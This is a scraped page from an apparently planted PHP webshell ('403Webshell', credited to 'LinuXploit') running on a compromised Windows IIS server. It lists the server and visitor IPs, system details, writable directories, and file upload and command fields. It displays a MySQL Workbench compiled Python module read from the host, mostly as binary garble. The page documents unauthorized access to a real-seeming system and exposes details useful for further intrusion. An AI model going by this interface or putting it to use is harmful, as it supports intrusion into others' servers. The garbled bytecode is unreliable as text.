403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/MySQL/MySQL Workbench 6.3 CE/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files/MySQL/MySQL Workbench 6.3 CE/modules/code_utils_grt.pyc
�
�"�Xc@s2ddlmZmZddlZddlZddlmZmZmZm	Z	m
Z
mZmZm
Z
mZedddddd	�Zejd
ddd
ej�gdd�ejejejj�d���Zd�Zejdddd
ej�gdd�ejejejj�d���ZdS(i����(tDefineModuletwbinputsN(	t
node_valuetnode_symbolt
node_childrentfind_child_nodetfind_child_nodesttrim_astt	ASTHelpert	dump_treetflatten_nodetnamet	CodeUtilstauthorsOracle Corp.tversions1.0swb.sqlide.copyAsPHPConnecttcaptions$Copy as PHP Code (Connect to Server)tinputt
pluginMenus
SQL/UtilitiescCs�|jr�|j}|jjdkraidd6dd6|jdd6|jdd6|jd	6}nTi|jd
d6|jdr�|jdndd6|jdd6dd6|jd	6}d|}tjj|�tjj	�j
d
�ndS(sPCopies PHP code to connect to the active MySQL connection to the clipboard.
    tMysqlNativeSocketsp:localhostthosti�tporttuserNametusertsockettdbnamethostNamets$host="%(host)s";
$port=%(port)s;
$socket="%(socket)s";
$user="%(user)s";
$password="";
$dbname="%(dbname)s";

$con = new mysqli($host, $user, $password, $dbname, $port, $socket)
	or die ('Could not connect to the database server' . mysqli_connect_error());

//$con->close();
sCopied PHP code to clipboardi(t
connectiontdriverRtparameterValuest
defaultSchematmformst	Utilitiestset_clipboard_texttApptgettset_status_text(teditortconntparamsttext((sGC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\code_utils_grt.pytcopyAsPHPConnects&		!

cCs�ddlm}|j|�}x�|D]�}t|�tkrDq&q&|\}}}}}}	t|�}
t|
d�}|r&g}g}
d}x"t|�D]}t|�dkr�tt|d�d�}|s�t|d�}|rt	t|��d	krt|�d}ntt|d
�d�}|r?t
|�}q�d}t|�}|r�ddl}|j
d|�}|r�|j�d}q�q�nt
|�}|j|�q�q�Wt|�}|j|�\}}|||!}|}t|d
�}xpt|�D]b}|j|�\}}||8}||8}|||!}|| d||}|
jd|�qWi}xnt|�D]`\}}|j|�r�d|||f||<||cd7<n|j|d�d||<q}W|||
fSq&WdS(Ni����(tMysqlSqlFacadetselect_item_listitselect_itemtselect_aliastidenttsimple_ident_qitexprtfields([a-zA-Z0-9_]*)tvariablet?s%s%ii(tgrt.modulesR*tparseAstFromSqlScriptttypetstrRRRRtlenRR
tretmatchtgroupstappendRt
get_ast_rangeRtreversedtinsertt	enumeratethas_keyR#(tqueryR*tast_listtasttstvtct_baset_begint_endttrimmed_astR+tcolumnst	variablestindextnodetaliasR.RR1R9tmthelpertbegintendtoffsettvarstvart
duplicatesti((sGC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\code_utils_grt.pyt"_parse_column_name_list_from_query8sd




s wb.sqlide.copyAsPHPQueryAndFetchs)Copy as PHP Code (Iterate SELECT Results)c
Cs�|jp|j}t|�}|r6|\}}}nd}d}|jdd�jdd�j�}|jd�r�|d }nd}d}|rdjg|D]}d|d^q��d}d	d
t|�djg|D]}d|d^q��f}n|sd
dg}ndi|jdd�d6djg|D]}d|^q>�d6djdgt|��d6|d6|d6}	t	j
j|	�t	jj
�jd�dS(s"Copies PHP code to execute the query and iterate its results to the clipboard. The code will substitute @variables with
parameter markers (?) and will bind them with matching PHP variables. The results will be bound to PHP variables matching
the SELECTed column names or their aliases.
    s
t s
t;i����Rs	$%s = '';is]$stmt->bind_param('%s', %s); //FIXME: param types: s- string, i- integer, d- double, b- blob
REs, t$tfield1tfield2s�$query = "%(query)s";
%(vars)s
%(var_bind)s
if ($stmt = $con->prepare($query)) {
    $stmt->execute();
    $stmt->bind_result(%(column_list)s);
    while ($stmt->fetch()) {
        //printf("%(fmt_list)s\n", %(column_list)s);
    }
    $stmt->close();
}t"s\"RBs$%stcolumn_lists%stfmt_listRVtvar_bindsCopied PHP code to clipboardiN(tselectedTexttscriptRZtNonetreplacetstriptendswithtjoinR8RR R!R"R#R$(
tqbuffertsqltrestcolumn_namestvariable_namestvariable_assignmentst
variable_bindRWRGR(((sGC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\code_utils_grt.pytcopyAsPHPQueryAndFetchys.$
.AD(twbRRtgrtRtsql_reformatterRRRRRRRR	R
t
ModuleInfotplugintcurrentSQLEditortexporttINTtclassestdb_query_EditorR)RZtcurrentQueryBuffertdb_query_QueryBufferRr(((sGC:\Program Files\MySQL\MySQL Workbench 6.3 CE\modules\code_utils_grt.pyt<module>s@'')	A'

Youez - 2016 - github.com/yon3zu
LinuXploit